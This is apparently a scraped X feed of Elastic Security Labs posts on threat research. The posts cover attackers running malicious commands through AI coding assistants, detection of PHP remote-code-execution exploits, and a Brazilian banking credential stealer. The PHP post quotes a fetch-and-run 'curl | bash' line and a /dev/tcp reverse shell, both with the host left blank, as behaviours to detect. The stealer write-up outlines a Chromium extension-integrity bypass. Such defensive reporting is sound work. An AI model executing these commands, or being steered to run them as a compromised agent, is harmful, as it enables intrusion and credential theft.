Andrew Pease

Elastic Security Labs Verified account @elasticseclabs · 5d

Six observations in the new 𝘵𝘩𝘳𝘦𝘢𝘵𝘴, 𝘦𝘵𝘤 report, all of them on software you already trust.

• AI clients as execution parents
• A worm with npm publish rights
• ClickFix on macOS
• ROPC past Conditional Access
• Blockchain C2 in commodity loaders
• 8 minutes from stealer to login

Access the full report: go.es.io/4z3fyGK

View quoted post on X

Elastic Security Labs Verified account @elasticseclabs · 4d

Attackers are using legitimate AI coding assistants to execute malicious commands on compromised endpoints.

In two confirmed intrusions, Elastic Threat Command observed adversaries operating cyber attacks through Claude Code on Windows and the ChatGPT desktop app on macOS. Both involved trusted applications being used to carry out malicious activity.

@_xDeJesus principal security research engineer at Elastic Threat Command, walks through the findings and what security teams should be looking for: go.es.io/47ZcxMM

The findings highlight a detection challenge: These applications are signed and authorized to execute commands, making it difficult to distinguish legitimate activity from attacker behavior.

The speed of these attacks is another concern. Elastic researchers observed an average of just eight minutes between ClickFix/infostealer infection and attackers logging in with stolen credentials.

In the latest threats, etc quarterly report, Elastic Threat Command documents these intrusions and examines the implications for endpoint visibility, behavioral detection, and threat hunting.

Full report: go.es.io/4sO5G2k

View quoted post on X

Elastic Security Labs Verified account @elasticseclabs · Oct 21

Two critical PHP RCEs are patched: CVE-2026-109618 and CVE-2026-109619, both CVSS 9.2.
• Fixed in 8.5.12, 8.4.27, 8.3.36, and 8.2.35.

You can still focus on detection coverage today.

Security Labs writeup (coverage + guidance): elastic.co/security-labs/…

Most PHP RCEs converge on the same outcome, whatever the bug: a web server process (php-fpm, php-cgi, apache2, httpd) doing something a request-serving daemon almost never does legitimately.

• a shell to confirm access: id, whoami, uname -a
• a second stage pulled in: curl http://... | bash
• a reverse shell: bash -i >& /dev/tcp//
• a webshell written into the web root

The bug class is public now: out-of-memory corruption, and stale state reused by the same worker. The behavior is what you detect.

We recently ran a different PHP RCE end-to-end (wp2shell): apache2 spawning dash to run id; whoami; hostname fired the exact rules that we suspect to catch php2shell. Payload Execution by Web Server kills the shell on the endpoint.

The Suspicious/Unusual Command, Child, and File Creation via Web Server rules stack on top.

(PHP did confirm partial php.ini mitigations. session.upload_progress.enabled=0 blocks the confirmed session paths only. Patch is still the fix.)

Patch to 8.5.12, 8.4.27, 8.3.36, or 8.2.35. Verify that the stack is enabled now.

Guidance + every rule link below.

View quoted post on X

Kostas Verified account @Kostastsale · Oct 20

I used Opus 5.5 on max and GPT-6 Astra for 5 days straight and I reversed engineered Elastic Security and extracted all the rules. I made them available here:

github.com/elastic/detect…

You’re welcome.

View quoted post on X

Elastic Security Labs Verified account @elasticseclabs · Sep 15

KREMLIN is a multi-stage credential theft toolkit targeting Brazilian banking users.

New research from Elastic Security Labs (REF9334): go.es.io/4yfkg4R by @cyril_t_f and @andythevariable

The infection chain combines JavaScript loaders, an optional PE injector, and a custom C++ installer. The installer downloads and installs a malicious browser extension for Chrome and Edge and/or deploys an embedded PULSAR or REMCOS RAT. This malicious extension is then used for web-browser data interception and exfiltration.

KREMLIN resolves its C2 endpoints from Ethereum. Smart contracts store payload URLs and extension download locations as on-chain key-value pairs. The operators update endpoints by writing a new transaction.

The extension installation bypasses Chromium's integrity system. The installer launches Chrome under a debugger, recovers the App-Bound OSCrypt key from process memory, extracts the seed from resources.pak, then regenerates the HMACs and encrypted SHA-256 hashes that Secure Preferences requires. The extension registers silently with developer mode forced on.

Once active, it logs input fields, intercepts HTTP requests by configurable URL and method rules, injects attacker-controlled HTML, and exfiltrates intercepted data, cookies, and credentials over WebSocket and HTTP.

Elastic Security Labs Threat Command registered the network canary domain that operates as a kill switch. We observed thousands of implants from Brazil attempting to check in to this domain. Once this domain was live, the KREMLIN loaders crash before trying to update or install the final payload, temporarily disrupting this campaign.

The targeting is clear. Lure filenames impersonate PIX transfers, bank statements, and receipts from Banco do Brasil, Bradesco, Sicoob, Santander, C6 Bank, and PagBank. Ethereum transaction timestamps cluster in São Paulo working hours. Portuguese-language artifacts appear throughout the codebase.

View quoted post on X